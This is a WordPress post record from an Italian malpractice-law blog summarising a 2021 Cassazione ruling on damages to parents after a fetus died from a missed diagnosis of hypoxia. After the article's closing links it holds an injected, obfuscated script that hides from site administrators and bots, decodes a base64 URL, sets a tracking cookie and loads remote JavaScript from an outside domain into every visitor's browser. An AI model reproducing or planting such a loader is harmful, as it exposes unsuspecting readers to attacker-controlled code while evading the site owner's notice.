{"id":28102,"date":"2022-10-03T10:07:48","date_gmt":"2022-10-03T10:07:48","guid":{"rendered":"https:\/\/www.dimariamalasanita.it\/?p=28102"},"modified":"2026-04-15T05:22:22","modified_gmt":"2026-04-15T05:22:22","slug":"feto-di-una-bimba-muore-per-omessa-diagnosi-da-parte-degli-operatori-sanitari","status":"publish","type":"post","link":"https:\/\/www.dimariamalasanita.it\/?p=28102","title":{"rendered":"Feto di una bimba muore per omessa diagnosi da parte degli operatori sanitari"},"content":{"rendered":"<p>MORTE DEL FETO DI UNA BIMBA PER OMESSA DIAGNOSI DA PARTE DEGLI OPERATORI SANITARI<\/p>\n<p>Con la pronuncia n. 26301 del 29 settembre 2021 si affronta il problema della richiesta di risarcimento dei danni non patrimoniali avanzata dai coniugi nei confronti dei sanitari dell\u2019Asl ove era ricoverata la gestante poich\u00e9 il decesso della bambina \u00e8 stato, a loro avviso, determinato da colpa medica.<br \/>\nSecondo i genitori la morte del feto che la madre portava in grembo era stata causata da un\u2019omessa diagnosi di ipossia fetale e da un successivo ritardo nell\u2019effettuare il taglio cesareo che, se solo fosse stato effettuato tempestivamente, avrebbe evitato la sofferenza del feto e quindi anche la morte della bambina.<br \/>\nLa partoriente in seguito alla perdita di liquido amniotico e alla comparsa delle contrazioni si era recata in ospedale e i sanitari, dopo aver effettuato i controlli di routine, avevano predisposto il trasferimento in un altro nosocomio, dove per\u00f2 la paziente giungeva in condizioni critiche e metteva al mondo la bambina gi\u00e0 morta.<br \/>\nIl giudice di prime cure, tramite la CTU medico-legale in cui emergeva la negligenza e l\u2019imperizia dei sanitari, \u00e8 riuscito ad accertare l\u2019elevata probabilit\u00e0 di salvezza per la bimba se il parto cesareo fosse stato eseguito tempestivamente e, dunque, ha condannato l\u2019Asl per aver causato la morte della bimba.<br \/>\nIl giudice di prime cure ha riconosciuto il risarcimento in capo ai genitori inquadrando la loro richiesta di ristoro dei danni non patrimoniali come danno da perdita del frutto del concepimento, ma i genitori si opposero a tale decisione perch\u00e9 secondo loro non era stata data la possibilit\u00e0 di provare la sofferenza e il patema d\u2019animo determinati dalla morte del feto nell\u2019utero.<br \/>\nIn altre parole, con la somma liquidata secondo il giudice di primo grado erano stati risarciti complessivamente il danno legato sia alla morte del feto che alla sofferenza provata per quel lutto, poich\u00e9 erano stati delineati come un unico danno.<br \/>\nTuttavia, i genitori insistevano nel sostenere che si trattasse di due danni differenti con diverso ristoro e in appello reiteravano la richiesta di provare il danno legato al dolore lasciato dal lutto nell\u2019animo dei genitori, anche tramite la presenza di testimoni, oltre a quello legato alla perdita parentale della bimba.<br \/>\nA tal riguardo, inoltre, ricordiamo che vi \u00e8 una differenza tra il danno legato alla perdita del frutto del concepimento e il dolore che si viene a creare nell\u2019animo dei genitori; quindi trattandosi di due tipologie coesistenti ma differenti non \u00e8 possibile procedere con un risarcimento del danno unico perch\u00e9 verrebbe, in tal modo, negato il risarcimento di una posta di danno considerevole.<br \/>\nLa Cassazione con la pronuncia in esame <strong>ha riconosciuto l\u2019esistenza di due diversi danni<\/strong> ed in considerazione al danno provocato dal lutto ha cos\u00ec statuito:\u201d Il vero danno, nella perdita del rapporto parentale, \u00e8 la sofferenza, non la relazione. \u00c8 il dolore, non la vita, che cambia, se la vita \u00e8 destinata, s\u00ec, a cambiare, ma in qualche modo sopravvivendo a se stessi nel mondo\u201d.<\/p>\n<p><strong>Dott. Luigi Pin\u00f2<\/strong><\/p>\n<hr \/>\n<ul>\n<li><a href=\"https:\/\/www.dimariamalasanita.it\/flash-news\/\" target=\"_blank\" rel=\"noopener\">Leggi altri articoli dalla sezione flash news<\/a><\/li>\n<li><a href=\"https:\/\/www.dimariamalasanita.it\/blog\/\" target=\"_blank\" rel=\"noopener\">Leggi altri articoli dalla sezione blog<\/a><\/li>\n<li><a href=\"https:\/\/www.dimariamalasanita.it\/contatti\/\" target=\"_blank\" rel=\"noopener\">Contattaci per avere pi\u00f9 info<\/a><\/li>\n<\/ul>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>MORTE DEL FETO DI UNA BIMBA PER OMESSA DIAGNOSI DA PARTE DEGLI OPERATORI SANITARI Con la pronuncia n. 26301 del 29 settembre 2021 si affronta il problema della richiesta di risarcimento dei danni non patrimoniali avanzata dai coniugi nei confronti dei sanitari dell\u2019Asl ove era ricoverata la gestante poich\u00e9 il decesso della bambina \u00e8 stato, [&hellip;]<\/p>\n","protected":false},"author":133,"featured_media":28103,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[231,1],"tags":[],"class_list":["post-28102","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-flash_news","category-malasanita"],"_links":{"self":[{"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=\/wp\/v2\/posts\/28102","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=\/wp\/v2\/users\/133"}],"replies":[{"embeddable":true,"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=28102"}],"version-history":[{"count":3,"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=\/wp\/v2\/posts\/28102\/revisions"}],"predecessor-version":[{"id":28527,"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=\/wp\/v2\/posts\/28102\/revisions\/28527"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=\/wp\/v2\/media\/28103"}],"wp:attachment":[{"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=28102"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=28102"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=28102"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}